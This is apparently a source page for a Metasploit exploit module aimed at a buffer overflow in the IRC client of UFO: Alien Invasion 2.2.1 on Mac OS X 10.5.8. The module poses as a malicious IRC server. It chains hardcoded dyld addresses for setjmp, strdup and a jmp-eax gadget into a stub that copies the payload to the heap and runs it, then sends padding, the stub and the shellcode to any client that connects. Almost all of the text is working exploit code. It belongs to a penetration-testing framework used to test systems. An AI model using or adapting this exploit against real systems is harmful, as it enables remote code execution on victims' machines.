Path: blob/master/modules/exploits/osx/misc/ufo_ai.rb
24578 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(12update_info(13info,14'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow in the IRC client component17of UFO: Alien Invasion 2.2.1.18},19'Author' => [20'Jason Geffner', # Original Windows PoC Author21'dookie' # OSX Exploit Author22],23'License' => MSF_LICENSE,24'References' => [25[ 'CVE', '2009-10006' ],26[ 'OSVDB', '65689' ],27[ 'EDB', '14013' ]28],29'Payload' => {30'Space' => 400,31'BadChars' => "\x00\x0a\x0d",32'MaxNops' => 0,33'StackAdjustment' => -3500,34},35'Platform' => 'osx',36'Targets' => [37[38'Mac OS X 10.5.8 x86, UFOAI 2.2.1',39{40'Arch' => ARCH_X86,41'Offset' => 524,42'Writable' => 0x8fe66448, # dyld __IMPORT43# The rest of these addresses are in dyld __TEXT44'setjmp' => 0x8fe1cf38,45'strdup' => 0x8fe210dc,46'jmp_eax' => 0x8fe0104147}48]49],50'DefaultTarget' => 0,51'DisclosureDate' => '2009-10-28',52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57)58)5960register_options(61[62OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),63]64)65end6667def make_exec_payload_from_heap_stub()68frag0 =69"\x90" + # nop70"\x58" + # pop eax71"\x61" + # popa72"\xc3" # ret7374frag1 =75"\x90" + # nop76"\x58" + # pop eax77"\x89\xe0" + # mov eax, esp78"\x83\xc0\x0c" + # add eax, byte +0xc79"\x89\x44\x24\x08" + # mov [esp+0x8], eax80"\xc3" # ret8182setjmp = target['setjmp']83writable = target['Writable']84strdup = target['strdup']85jmp_eax = target['jmp_eax']8687exec_payload_from_heap_stub =88frag0 +89[setjmp].pack('V') +90[writable + 32, writable].pack("V2") +91frag1 +92"X" * 20 +93[setjmp].pack('V') +94[writable + 24, writable, strdup, jmp_eax].pack("V4") +95"X" * 496end9798def on_client_connect(client)99print_status("Got client connection...")100101offset = target['Offset']102103buffer = "001 :"104buffer << rand_text_alpha_upper(offset)105buffer << make_exec_payload_from_heap_stub()106buffer << make_nops(16)107buffer << payload.encoded108buffer << "\x0d\x0a"109110print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")111client.put(buffer)112end113end114115116